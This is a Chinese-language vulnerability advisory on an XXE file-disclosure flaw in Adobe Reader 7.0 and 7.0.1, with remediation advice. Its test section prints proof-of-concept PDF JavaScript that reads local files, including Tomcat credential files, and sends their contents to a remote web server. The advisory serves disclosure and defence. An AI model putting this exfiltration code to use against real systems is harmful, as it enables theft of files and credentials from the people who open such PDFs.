Adobe Acrobat/Adobe Reader文件泄露漏洞
发布日期:2005-06-17
更新日期:2005-06-17
受影响系统:
Adobe Acrobat Reader 7.0.1
Adobe Acrobat Reader 7.0
不受影响系统:
Adobe Acrobat Reader 7.0.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: _blank>13962
CVE(CAN) ID: _blank>CAN-2005-1306
Adobe Reader(之前被称为Acrobat Reader)是非常流行的PDF文本阅读器。
Adobe Reader在处理XML外部实体(XXE)时存在漏洞,攻击者可能利用此漏洞非授权读取某些文件。
攻击者可以在PDF文件中引入JavaScript,然后让这个JavaScript解析引用了外部实体的嵌入XML文档,导致读取本地电脑中某些类型的文本文件。
<*来源:Jeremiah Grossman
Sverre H. Huseby (shh@thathost.com)
链接:_blank>http://marc.theaimsgroup.com/?l=bugtraq&m=111893928911355&w=2
_blank>http://shh.thathost.com/secadv/adobexxe/
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
以下XML文档可以使XML解析器读取c:\boot.ini并将其扩展为foo标签的内容:
]>
&xxe;
以下针对Adobe Reader的JavaScript包含有上面的XML,可以要求Adobe Reader XML解析器解析它,并使用系统的WEB浏览器将扩展的外部实体(也就是c:\boot.ini的内容)传送给远程web server:
var xml=" "
+ " ]>&xxe;";
var xdoc = XMLData.parse(xml, false);
app.launchURL("_blank>http://shh.thathost.com/secdemo/show.php?"
+ "head=Your+boot.ini&text="
+ escape(xdoc.foo.value));
Apache Tomcat将用户名和口令以明文存储在tomcat-users.xml文件中。以下PDF包含的JavaScript会在几个可能的位置查找该文件,如果找到了该文件就从其中的XML获得所有敏感的属性并发送给上文的web站点:
function load(uri) {
try {
var xml=" "
+ " ]>&xxe;";
return XMLData.parse(xml, false);
} catch (e) {
console.println(e);
return null;
}
}
function attempt(uri) {
var xdoc = load(uri);
if (xdoc == null)
return false;
try {
var users = XMLData.applyXPath(xdoc,
"//foo/tomcat-users/user/attribute::*");
var s = "match: " + uri + "\n"
for (var q = 0; q < users.length; q++)
s += users.item(q).name + "=" + users.item(q).value + " ";
app.launchURL("_blank>http://shh.thathost.com/secdemo/show.php?"
+ "head=tomcat-users&text=" + escape(s));
return true;
} catch (e) {
console.println(e);
}
return false;
}
uris = [
"file:///C:/PROGRA~1/APACHE~1/TOMCAT~1.5/conf/tomcat-users.xml",
"file:///C:/PROGRA~1/APACHE~1/TOMCAT~1.4/conf/tomcat-users.xml",
"file:///C:/PROGRA~1/APACHE~2/TOMCAT~1.5/conf/tomcat-users.xml",
"file:///C:/PROGRA~1/APACHE~2/TOMCAT~1.4/conf/tomcat-users.xml"
];
for (var q = 0; q < uris.length; q++)
if (attempt(uris[q]))
break;
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 在Adobe Reader中禁用JavaScript。
厂商补丁:
Adobe
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载7.0.2版本:
_blank>http://www.adobe.com/support/downloads/
|